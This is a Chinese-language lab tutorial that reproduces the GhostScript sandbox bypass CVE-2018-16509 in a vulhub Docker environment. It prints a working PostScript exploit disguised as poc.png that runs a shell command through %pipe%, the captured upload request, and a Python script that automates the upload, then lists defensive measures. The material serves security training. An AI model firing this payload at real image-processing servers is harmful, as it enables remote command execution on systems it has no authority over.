什么是 GhostScript 沙箱绕过
GhostScript 沙箱是一种安全机制,用于在受控环境中运行 GhostScript 解释器,以防止恶意代码的执行。GhostScript 是一个广泛使用的 PDF 和 PostScript 解释器,通常用于在服务器上处理和渲染这些文件格式。Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等。
目录:
什么是 GhostScript 沙箱绕过
Python 编写渗透测试基础:
GhostScript 沙箱通常包括以下特性:
靶场的开启:
(1)靶场的搭建:
(2)查看目录:
(3)启用 vulhub 漏洞:
(4)进行浏览:主机的 8080 端口.
GhostScript 沙箱绕过:
(1)漏洞的利用方法(命名为poc.png文件):
运行的结果:
(2)上传一个文件时,进行抓包 对数据包分析:
(3)编写代码执行:
防范 GhostScript 沙箱绕过的主要措施包括:
Python 编写渗透测试基础:
(1)漏洞发现和利用走的是什么协议.
(2)编写难度是根据协议和探针利用复现复杂程度决定的.
例如:
mysql类型的漏洞复现漏洞
大部分都是在mysql里面进行python写这个漏洞利用
是不是也要用到mysql的库来进行连接 后续操作 复现一致
GhostScript 沙箱通常包括以下特性:
(1)文件系统访问控制:限制 GhostScript 只能访问指定的目录,防止访问敏感文件。
(2)网络访问控制:GhostScript 的网络访问能力,防止它连接到恶意服务器。
(3)进程控制:GhostScript 创建新进程的能力,防止它执行任意命令。
(4)资源限制:限制 GhostScript 使用 CPU、内存等系统资源的上限,防止资源耗尽。
靶场的开启:
(1)靶场的搭建:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客
(2)查看目录:
(1)cd vulhub
(2)ls
(3)启用 vulhub 漏洞:
(1)cd ghostscript // 切换到对应的漏洞目录.
(2)cd CVE-2018-16509 // 切换到对应的漏洞版本.
(3)docker-compose build // 建立容器
(4)docker-compose up -d // 启用漏洞环境.
(5)docker ps // 查看环境运行状态
(4)进行浏览:主机的 8080 端口.
GhostScript 沙箱绕过:
(1)漏洞的利用方法(命名为poc.png文件):
构成这个数据包,里面的代码创建一个新的文件 /tmp/success
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
运行的结果:
(2)上传一个文件时,进行抓包 对数据包分析:
POST / HTTP/1.1
Host: 172.16.10.19:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.10.19:8080/
Cookie: csrftoken=ZvnmdubDr9oBu7WKiG5bIWHZTtgDvTCBIz39QfaMx2YPBmueHxmcpPVQAvTrWCPS; sessionid=3tyha7nkq68bx29fxjcfs57w2730jpxr
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------23194234122378
Content-Length: 410
-----------------------------23194234122378
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
-----------------------------23194234122378--
(3)编写代码执行:
import requests # 导入模块
url='http://172.16.10.19:8080/'
# 定义一个变量来装数据包中头部.
head={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Referer': 'http://172.16.10.19:8080/',
'Cookie': 'csrftoken=ZvnmdubDr9oBu7WKiG5bIWHZTtgDvTCBIz39QfaMx2YPBmueHxmcpPVQAvTrWCPS; sessionid=3tyha7nkq68bx29fxjcfs57w2730jpxr',
'Connection': 'close',
'Content-Type': 'multipart/form-data; boundary=---------------------------72831945316609',
'Content-Length': '410',
}
# 定义一个变量来装数据包中内容
data="""-----------------------------72831945316609
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
-----------------------------72831945316609--"""
r=requests.post(url,data=data,headers=head).text
# 上传的链接 + 上传的内容 + 数据包的头部
# .text 属性用于获取响应的文本内容,然后赋值r
print(r)
# 打印
防范 GhostScript 沙箱绕过的主要措施包括:
(1)持续更新和修复 GhostScript:
及时修复 GhostScript 中发现的安全漏洞,降低被利用的风险。
使用最新版本的 GhostScript,其中包含了更多的安全防护措施。
(2)加强沙箱配置:
仔细配置沙箱的各项限制,确保其能够有效阻挡各种攻击手段。
定期审核和调整沙箱配置,以应对新出现的绕过技术。
(3)监控和检测异常行为:
监控 GhostScript 在沙箱中的行为,及时发现可疑活动。
建立异常行为检测机制,如异常资源消耗、非法文件访问等。
(4)多层防御:
不仅依赖 GhostScript 沙箱,还应该结合其他安全措施,如Web应用防火墙、入侵检测系统等。
形成深度防御体系,提高整体安全性。
(5)安全审计和渗透测试:
定期对 GhostScript 沙箱进行安全审计,发现并修复存在的漏洞。
进行渗透测试,模拟攻击者的行为,验证沙箱的防御能力。
(6)安全意识培训:
提高运维人员对 GhostScript 安全性的认知,培养他们的安全意识。
让运维人员掌握沙箱配置、监控和事件响应的相关知识。
学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili